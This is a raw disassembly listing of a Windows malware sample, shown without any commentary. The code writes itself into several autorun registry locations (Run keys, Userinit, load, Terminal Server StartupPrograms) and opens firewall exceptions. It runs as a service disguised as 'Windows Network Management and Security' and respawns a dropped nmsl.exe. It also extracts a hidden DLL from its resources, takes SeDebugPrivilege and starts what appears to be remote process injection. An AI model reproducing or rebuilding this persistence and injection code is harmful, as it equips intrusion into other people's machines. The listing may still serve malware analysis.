sub_4058D5	proc near		; CODE XREF: sub_405B04+78p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407AC0
		push	ebx
		push	dword_4128A8
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_405826
		add	esp, 10h


loc_405900:				; DATA XREF: DMN1:00450CF4o
		test	eax, eax
		jnz	short loc_405966
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_40576F
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_405934
		mov	[ebp+var_2000],	0


loc_405934:				; CODE XREF: sub_4058D5+56j
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_4056C8
		add	esp, 10h


loc_405966:				; CODE XREF: sub_4058D5+2Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4058D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40596B	proc near		; CODE XREF: sub_405B04+7Dp

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407AC0
		push	ebx
		push	esi
		push	dword_4128A8
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405826
		add	esp, 10h
		test	eax, eax
		jnz	loc_405A3D
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_40576F
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4059CF
		mov	[ebp+var_2000],	0


loc_4059CF:				; CODE XREF: sub_40596B+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_4059F4
		lea	esi, [ebp+var_2000]
		jmp	short loc_4059E1
; ---------------------------------------------------------------------------


loc_4059E0:				; CODE XREF: sub_40596B+79j
		inc	esi


loc_4059E1:				; CODE XREF: sub_40596B+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_4059E0
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_4059F4
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_4059F4:				; CODE XREF: sub_40596B+6Bj
					; sub_40596B+7Fj
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_405A1F
		push	offset asc_40E73C ; ","
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_405A1F:				; CODE XREF: sub_40596B+9Fj
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4056C8
		add	esp, 10h


loc_405A3D:				; CODE XREF: sub_40596B+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40596B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A43	proc near		; CODE XREF: sub_405B04+82p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407AC0
		push	ebx
		push	esi
		push	dword_4128A8
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405826
		add	esp, 10h
		test	eax, eax
		jnz	loc_405AFE
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_40576F
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_405AA7
		mov	[ebp+var_2000],	0


loc_405AA7:				; CODE XREF: sub_405A43+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_405ACC
		lea	esi, [ebp+var_2000]
		jmp	short loc_405AB9
; ---------------------------------------------------------------------------


loc_405AB8:				; CODE XREF: sub_405A43+79j
		inc	esi


loc_405AB9:				; CODE XREF: sub_405A43+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_405AB8
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_405ACC
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_405ACC:				; CODE XREF: sub_405A43+6Bj
					; sub_405A43+7Fj
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4056C8
		add	esp, 10h


loc_405AFE:				; CODE XREF: sub_405A43+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405A43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B04	proc near		; CODE XREF: sub_406A81+557p

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407AC0
		push	1
		push	offset asc_40E700 ; "*"
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_405878
		add	esp, 10h
		push	offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
		call	nullsub_2
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4056C8
		add	esp, 10h
		push	offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
		call	nullsub_2
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_4056C8
		add	esp, 10h
		call	sub_4058D5
		call	sub_40596B
		call	sub_405A43
		mov	esp, ebp
		pop	ebp
		retn
sub_405B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B8F	proc near		; CODE XREF: sub_406A81+236p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407AC0
		mov	[ebp+var_2000],	0
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	dword_4128A8
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_4056C8
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_405B8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_405C00	proc near		; CODE XREF: DMN0:00405E1Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	14h
		push	40h
		call	dword_411CE4	; LocalAlloc
		mov	[ebp+var_10], eax
		push	1
		push	[ebp+var_10]
		call	dword_411E3C	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	[ebp+var_10]
		call	dword_411E40	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 1
		push	offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}"
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_411D44	; CreateEventA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_405C6A
		push	offset aEventCreated_ ;	"EVENT CREATED.\n"
		call	sub_4075F0
		pop	ecx
		jmp	short loc_405C7D
; ---------------------------------------------------------------------------


loc_405C6A:				; CODE XREF: sub_405C00+5Bj
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		push	offset aEventCreatonEr ; "EVENT	CREATON	ERROR: %i\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx


loc_405C7D:				; CODE XREF: sub_405C00+68j
		push	0
		push	0
		push	offset sub_405F73
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0
		push	0
		push	offset sub_406A07
		call	sub_407CA0
		add	esp, 0Ch
		mov	esi, eax


loc_405CA8:				; CODE XREF: sub_405C00:loc_405CF7j
		test	ebx, ebx
		jz	short loc_405CE2
		push	offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
		call	sub_4075F0
		pop	ecx
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], ebx
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		call	dword_411D4C	; WaitForMultipleObjects
		mov	edi, eax
		test	edi, edi
		jz	short loc_405CD8
		cmp	edi, 1
		jnz	short loc_405CF7


loc_405CD8:				; CODE XREF: sub_405C00+D1j
		push	1
		call	sub_407D70
		pop	ecx
		jmp	short loc_405CF7
; ---------------------------------------------------------------------------


loc_405CE2:				; CODE XREF: sub_405C00+AAj
		push	0FFFFFFFFh
		push	esi
		call	dword_411D38	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_405CF7
		push	1
		call	sub_407D70
		pop	ecx


loc_405CF7:				; CODE XREF: sub_405C00+D6j
					; sub_405C00+E0j ...
		jmp	short loc_405CA8
sub_405C00	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405D00:				; DATA XREF: DMN0:00405D76o
					; DMN1:004471E1o
		mov	eax, [esp+4]
		cmp	eax, 3
		jz	short loc_405D15
		cmp	eax, 4
		jz	short loc_405D32
		cmp	eax, 5
		jz	short loc_405D45
		jmp	short locret_405D68
; ---------------------------------------------------------------------------


loc_405D15:				; CODE XREF: DMN0:00405D07j
		mov	dword_412940, 4
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		jmp	short locret_405D68
; ---------------------------------------------------------------------------


loc_405D32:				; CODE XREF: DMN0:00405D0Cj
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		jmp	short locret_405D68
; ---------------------------------------------------------------------------


loc_405D45:				; CODE XREF: DMN0:00405D11j
		mov	dword_412940, 1
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		push	1
		call	sub_407D70
		pop	ecx

locret_405D68:				; CODE XREF: DMN0:00405D13j
					; DMN0:00405D30j ...
		retn	4
; ---------------------------------------------------------------------------


loc_405D6B:				; DATA XREF: sub_405E59+18o
					; sub_4472C4+18o
		push	offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
		call	sub_4075F0
		pop	ecx
		push	offset loc_405D00
		push	off_41295C
		call	dword_411E74	; RegisterServiceCtrlHandlerA
		mov	dword_412958, eax
		cmp	dword_412958, 0
		jz	loc_405E4B
		push	1
		push	offset dword_411048
		call	dword_411D08	; InterlockedExchange
		push	1Ch
		push	0
		push	offset dword_41293C
		call	sub_407960
		add	esp, 0Ch
		mov	dword_41293C, 110h
		mov	dword_412940, 2
		and	dword_412944, 0
		mov	dword_412954, 9C4h
		push	offset aSetservicestat ; "SetServiceStatus(): start pending\n"
		call	sub_4075F0
		pop	ecx
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		mov	dword_412940, 4
		push	offset aSetservicest_0 ; "SetServiceStatus(): running\n"
		call	sub_4075F0
		pop	ecx
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		call	sub_405C00
; ---------------------------------------------------------------------------
		mov	dword_412940, 1
		push	offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
		call	sub_4075F0
		pop	ecx
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		jmp	short locret_405E56
; ---------------------------------------------------------------------------


loc_405E4B:				; CODE XREF: DMN0:00405D93j
		push	offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
		call	sub_4075F0
		pop	ecx

locret_405E56:				; CODE XREF: DMN0:00405E49j
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_405E59	proc near		; CODE XREF: DMN0:00405E9Fp
					; sub_406A81+532p
		push	ebx
		call	sub_40410E
		test	eax, eax
		jz	short loc_405E67
		xor	eax, eax
		jmp	short loc_405E9D
; ---------------------------------------------------------------------------


loc_405E67:				; CODE XREF: sub_405E59+8j
		mov	eax, off_41295C
		mov	dword_412960, eax
		mov	dword_412964, offset loc_405D6B
		and	dword_412968, 0
		and	dword_41296C, 0
		push	offset dword_412960
		call	dword_411E78	; StartServiceCtrlDispatcherA
		mov	ebx, eax
		call	sub_404162
		mov	eax, ebx


loc_405E9D:				; CODE XREF: sub_405E59+Cj
		pop	ebx
		retn
sub_405E59	endp

; ---------------------------------------------------------------------------
		call	sub_405E59
		call	sub_407D30
		retn
; ---------------------------------------------------------------------------
		call	sub_4051E6
		mov	dword_411044, eax
		call	sub_407D30
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405EBA	proc near		; CODE XREF: sub_405F73+64p
					; sub_406A81+1F7p

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A00
		pop	ecx
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset asc_40E5AE ; "\"	"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_405F2A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_405F2A:				; CODE XREF: sub_405EBA+5Dj
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D14	; CreateProcessA
		test	eax, eax
		jz	short loc_405F6F
		push	[ebp+var_850]
		call	dword_411CFC	; CloseHandle
		push	[ebp+var_854]
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax


loc_405F6F:				; CODE XREF: sub_405EBA+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_405EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_405F73	proc near		; DATA XREF: sub_405C00+81o
					; sub_44706B+81o
		push	ebx
		push	esi
		push	offset aServicefixerth ; "ServiceFixerThread started.\n"
		call	nullsub_2
		pop	ecx


loc_405F80:				; CODE XREF: sub_405F73:loc_406008j
		xor	ebx, ebx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	dword_411D50	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405FFD
		call	sub_405048
		test	eax, eax
		jz	short loc_405FBC
		call	sub_405441
		test	eax, eax
		jnz	short loc_405FAB
		call	sub_405517


loc_405FAB:				; CODE XREF: sub_405F73+31j
		call	sub_405198
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405FC9
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_405FC9
; ---------------------------------------------------------------------------


loc_405FBC:				; CODE XREF: sub_405F73+28j
		call	sub_4052BA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405FC9
		xor	ebx, ebx
		inc	ebx


loc_405FC9:				; CODE XREF: sub_405F73+42j
					; sub_405F73+47j ...
		test	ebx, ebx
		jz	short loc_405FF0
		call	sub_404162
		push	offset asc_40E58E ; "**"
		call	sub_405EBA
		pop	ecx
		test	eax, eax
		jz	short loc_405FE9
		push	0
		call	sub_407D70
		pop	ecx


loc_405FE9:				; CODE XREF: sub_405F73+6Cj
		call	sub_40410E
		jmp	short loc_406008
; ---------------------------------------------------------------------------


loc_405FF0:				; CODE XREF: sub_405F73+58j
		push	1F4h
		call	dword_411D04	; Sleep
		jmp	short loc_406008
; ---------------------------------------------------------------------------


loc_405FFD:				; CODE XREF: sub_405F73+1Fj
		push	2710h
		call	dword_411D04	; Sleep


loc_406008:				; CODE XREF: sub_405F73+7Bj
					; sub_405F73+88j
		jmp	loc_405F80
sub_405F73	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406010	proc near		; DATA XREF: sub_406086+76o
					; DMN1:00447567o

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, eax
		push	dword_412970
		call	dword_411D54	; ResetEvent


loc_406027:				; CODE XREF: sub_406010+4Bj
		mov	[ebp+var_1], 0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	esi
		call	sub_4016DC
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40605D
		cmp	[ebp+var_1], 2Ah
		jnz	short loc_40605D
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	esi
		call	sub_401787
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40605D
		jmp	short loc_406027
; ---------------------------------------------------------------------------


loc_40605D:				; CODE XREF: sub_406010+2Ej
					; sub_406010+34j ...
		push	esi
		call	sub_4014C2
		pop	ecx
		push	offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
		call	nullsub_2
		pop	ecx
		push	dword_412970
		call	dword_411D48	; SetEvent
		call	sub_407D30
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406010	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406086	proc near		; DATA XREF: sub_4067B2+11o
					; sub_447C1D+11o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	sub_401359
		mov	dword_411050, eax
		push	offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
		call	nullsub_2
		pop	ecx
		push	0BB8h
		push	100007Fh
		push	dword_411050
		call	sub_4015B7
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406126
		push	offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
		call	nullsub_2
		pop	ecx
		push	dword_411050
		call	sub_401607
		pop	ecx
		test	eax, eax
		jz	short loc_406126
		push	offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
		call	nullsub_2
		pop	ecx
		push	dword_411050
		call	sub_401621
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_406126
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		push	offset sub_406010
		call	sub_407CA0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		push	eax
		call	dword_411CFC	; CloseHandle
		push	dword_411050
		call	sub_4014C2
		pop	ecx
		and	dword_411050, 0


loc_406126:				; CODE XREF: sub_406086+35j
					; sub_406086+50j ...
		cmp	dword_411050, 0
		jz	short loc_40613B
		push	dword_411050
		call	sub_4014C2
		pop	ecx


loc_40613B:				; CODE XREF: sub_406086+A7j
		push	offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
		call	nullsub_2
		pop	ecx
		call	sub_407D30
		mov	esp, ebp
		pop	ebp
		retn
sub_406086	endp


; =============== S U B	R O U T	I N E =======================================



sub_40614F	proc near		; CODE XREF: sub_40670D+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_406161
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_40614F+14j
		call	dword_411CC8	; GetTickCount
		mov	esi, eax


loc_406161:				; CODE XREF: sub_40614F+8j
		test	esi, esi
		jz	short loc_406159
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_40614F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406183	proc near		; CODE XREF: sub_40628E+9Ep
					; sub_40628E+109p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_411058, 0
		jz	short loc_4061AB
		push	dword_411058
		call	dword_411CFC	; CloseHandle
		and	dword_411058, 0


loc_4061AB:				; CODE XREF: sub_406183+13j
		push	0Ah
		push	offset a8001	; "#8001"
		push	0
		call	dword_411D58	; FindResourceA
		mov	esi, eax
		test	eax, eax
		jz	loc_406287
		push	esi
		push	0
		call	dword_411D5C	; SizeofResource
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	offset aResourceHereSi ; "resource here, size: %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	esi
		push	0
		call	dword_411D60	; LoadResource
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_406287
		push	[ebp+var_8]
		call	dword_411D64	; LockResource
		mov	[ebp+var_C], eax
		test	eax, eax
		jz	loc_406287
		push	80h
		push	ebx
		call	dword_411D2C	; SetFileAttributesA
		push	offset aWb	; "wb+"
		push	ebx
		call	sub_407690
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_406237
		push	ebx
		push	offset aFileSNotCreate ; "file <%s> NOT	created\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_406287
; ---------------------------------------------------------------------------


loc_406237:				; CODE XREF: sub_406183+A1j
		push	ebx
		push	offset aFileSCreated ; "file <%s> created\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		call	sub_407AF0
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	edi
		call	sub_4078F0
		pop	ecx
		push	[ebp+var_10]
		push	ebx
		push	offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
		call	nullsub_2
		add	esp, 0Ch
		push	7
		push	ebx
		call	dword_411D2C	; SetFileAttributesA
		cmp	[ebp+var_10], 1
		jz	short loc_406284
		xor	eax, eax
		jmp	short loc_406287
; ---------------------------------------------------------------------------


loc_406284:				; CODE XREF: sub_406183+FBj
		xor	eax, eax
		inc	eax


loc_406287:				; CODE XREF: sub_406183+3Bj
					; sub_406183+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40628E	proc near		; CODE XREF: sub_406815:loc_4068E1p

var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_407AC0
		cmp	dword_411054, 0
		jz	short loc_4062E4
		push	offset aR	; "r"
		push	offset dword_412974
		call	sub_407690
		pop	ecx
		pop	ecx
		mov	[ebp+var_1004],	eax
		test	eax, eax
		jz	short loc_4062E4
		push	offset dword_412974
		push	offset aOldDllS	; "old DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	[ebp+var_1004]
		call	sub_4078F0
		pop	ecx
		xor	eax, eax
		inc	eax
		jmp	loc_4063CE
; ---------------------------------------------------------------------------


loc_4062E4:				; CODE XREF: sub_40628E+14j
					; sub_40628E+2Fj
		push	offset dword_412974
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		push	offset aNmsl_	; "nmsl_"
		push	offset dword_412974
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset a000_tmp	; "000.tmp"
		push	offset dword_412974
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset dword_412974
		push	offset aCheckingDllS ; "checking DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	offset dword_412974
		call	sub_406183
		pop	ecx
		test	eax, eax
		jz	short loc_406356
		push	offset dword_412974
		push	offset aDllFoundS ; " DLL found: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	dword_411054, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_4063CE
; ---------------------------------------------------------------------------


loc_406356:				; CODE XREF: sub_40628E+A6j
		lea	eax, [ebp+var_1000]
		push	eax
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		push	offset dword_412974
		push	0
		push	offset aNmsl_	; "nmsl_"
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D24	; GetTempFileNameA
		push	offset dword_412974
		push	offset aTryingDllS ; "trying DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	offset dword_412974
		call	sub_406183
		pop	ecx
		test	eax, eax
		jz	short loc_4063C1
		push	offset dword_412974
		push	offset aDllOkS	; "DLL ok: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	dword_411054, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_4063CE
; ---------------------------------------------------------------------------


loc_4063C1:				; CODE XREF: sub_40628E+111j
		push	offset aDllNotExtracte ; "DLL not extracted.\n"
		call	nullsub_2
		pop	ecx
		xor	eax, eax


loc_4063CE:				; CODE XREF: sub_40628E+51j
					; sub_40628E+C6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_40628E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063D2	proc near		; CODE XREF: sub_406576+6p
					; sub_40663E+12p ...

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		call	dword_411E7C	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_406448
		call	dword_411D68	; GetCurrentProcess
		lea	edx, [ebp+var_14]
		push	edx
		push	28h
		push	eax
		call	dword_411E80	; OpenProcessToken
		test	eax, eax
		jz	short loc_406448
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+var_18]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], 2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	[ebp+var_14]
		call	dword_411E84	; AdjustTokenPrivileges
		call	dword_411CEC	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_406445
		xor	eax, eax
		jmp	short loc_406448
; ---------------------------------------------------------------------------


loc_406445:				; CODE XREF: sub_4063D2+6Dj
		xor	eax, eax
		inc	eax


loc_406448:				; CODE XREF: sub_4063D2+19j
					; sub_4063D2+30j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4063D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40644C	proc near		; CODE XREF: sub_406576+34p

var_1008	= byte ptr -1008h
var_1004	= byte ptr -1004h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_407AC0
		push	ebx
		push	esi
		push	edi
		push	40h
		push	1000h
		push	1000h
		push	0
		push	[ebp+arg_0]
		call	dword_411D6C	; VirtualAllocEx
		mov	esi, eax
		test	eax, eax
		jz	loc_40656F
